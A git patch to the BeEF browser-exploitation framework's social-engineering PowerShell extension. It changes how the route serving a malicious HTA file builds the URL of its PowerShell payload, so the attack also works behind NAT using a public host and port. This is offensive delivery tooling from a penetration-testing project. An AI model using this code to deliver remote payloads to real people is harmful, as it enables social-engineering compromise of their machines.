From decdb6c39de593d1d16bd089104ca1e2d623dfba Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 10 Dec 2014 10:21:46 +0100 Subject: [PATCH] Fixed bind_powershell to work in NAT-like envs where beef.http.public is used. --- extensions/social_engineering/powershell/bind_powershell.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index 409530928..b97abe731 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -28,9 +28,8 @@ module BeEF # serves the HTML Application (HTA) get '/hta' do response['Content-Type'] = "application/hta" - - host = BeEF::Core::Configuration.instance.get('beef.http.host') - port = BeEF::Core::Configuration.instance.get('beef.http.port') + host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host') + port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port') ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') payload_url = "http://#{host}:#{port}#{ps_url}/ps.png"